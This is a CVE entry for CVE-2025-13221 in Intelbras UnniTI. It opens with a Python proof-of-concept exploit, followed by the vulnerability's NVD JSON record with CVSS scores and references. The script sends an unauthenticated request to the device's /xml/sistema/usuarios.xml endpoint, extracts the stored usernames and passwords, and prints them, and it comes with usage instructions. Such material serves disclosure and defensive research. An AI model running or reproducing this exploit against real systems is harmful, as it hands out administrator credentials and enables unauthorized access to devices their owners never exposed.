CVE-2025-13221

#!/usr/bin/env python3 """ CVE-2025-13221 PoC - Intelbras UnniTI Plaintext Credentials Disclosure Author: Security Researcher Description: Exploit to retrieve plaintext credentials from Intelbras UnniTI """ import requests import sys import re def exploit(target_url): """Exploit CVE-2025-13221 to retrieve credentials""" # Target the vulnerable XML endpoint endpoint = "/xml/sistema/usuarios.xml" full_url = target_url.rstrip('/') + endpoint print(f"[*] Targeting: {full_url}") print("[*] Attempting to retrieve credentials...") try: # Send HTTP GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print("\n[+] Raw Response:") print(response.text) # Parse and extract credentials usuarios = re.findall(r'<Usuario>(.*?)</Usuario>', response.text) senhas = re.findall(r'<Senha>(.*?)</Senha>', response.text) if usuarios and senhas: print("\n[+] Extracted Credentials:") for i, (user, pwd) in enumerate(zip(usuarios, senhas)): print(f" User {i+1}: {user}") print(f" Pass {i+1}: {pwd}") return True else: print(f"[-] Request failed (Status: {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1] exploit(target)

{"cve": {"id": "CVE-2025-13221", "sourceIdentifier": "[email protected]", "published": "2025-11-15T20:15:42.863", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Intelbras UnniTI 24.07.11. The affected element is an unknown function of the file /xml/sistema/usuarios.xml. Executing manipulation of the argument Usuario/Senha can lead to unprotected storage of credentials. The attack can be executed remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-255"}, {"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://vuldb.com/?ctiid.332537", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332537", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.685825", "source": "[email protected]"}, {"url": "https://www.notion.so/eldruin/Intelbras-UnniTI-Plaintext-Admin-Credentials-Disclosure-29c27474cccb8008b2d7ea60affdf86e?source=copy_link", "source": "[email protected]"}]}}